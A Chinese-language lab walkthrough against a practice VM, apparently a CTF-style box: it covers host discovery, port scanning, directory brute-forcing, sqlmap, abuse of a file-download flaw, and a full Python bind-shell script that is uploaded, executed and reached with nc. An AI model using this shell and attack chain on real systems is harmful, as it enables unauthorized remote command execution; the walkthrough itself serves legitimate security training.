实战演练

下载下来之后，把它添加硬盘上去

使用netdiscover进行查找靶机的IP

使用nmap对靶机系统进行端口扫描

打开浏览器

有一个超链接的指引，不过是403

爆破web目录，找到了一个admin.php

SQLMAP走起

这里面有可以下载文件的漏洞

下载反弹shell，修改IP和端口

启动http服务器

下载shell

发现不行，好像由于是之前SQLMAP跑的时候，跑死了，我重启了一下靶机

有下载记录

我重新发出了命令，但我仍然无法让它正常工作。

然后我决定稍微改变一下，而不是尝试执行反向shell，我想我会尝试一个绑定shell，这会打开一个我可以netcat到的端口。

我使用了以下python bind-shell脚本并将其保存为python-bind.py，然后重新发出命令以上载此文件并执行它。

#simple python bind shell
import os,sys,socket
 
ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
print '-Creating socket..'
port = 31337
try:
	ls.bind(('', port))
	print '-Binding the port on ' 
	ls.listen(1)
	print '-Listening, '
	(conn, addr) = ls.accept()
	print '-Waiting for connection...'
	cli= conn.fileno()
	print '-Redirecting shell...'
	os.dup2(cli, 0)
	print 'In, '
	os.dup2(cli, 1)
	print 'Out, '
	os.dup2(cli, 2)
	print 'Err'	
	print 'Done!'
	arg0='/bin/sh'
	arg1='-a'
	args=[arg0]+[arg1]
	os.execv(arg0, args)
except(socket.error):
	print 'fail\n'
	conn.close()
	sys.exit(1)

使用nmap扫描，发现端口开启了

使用nc进行连接
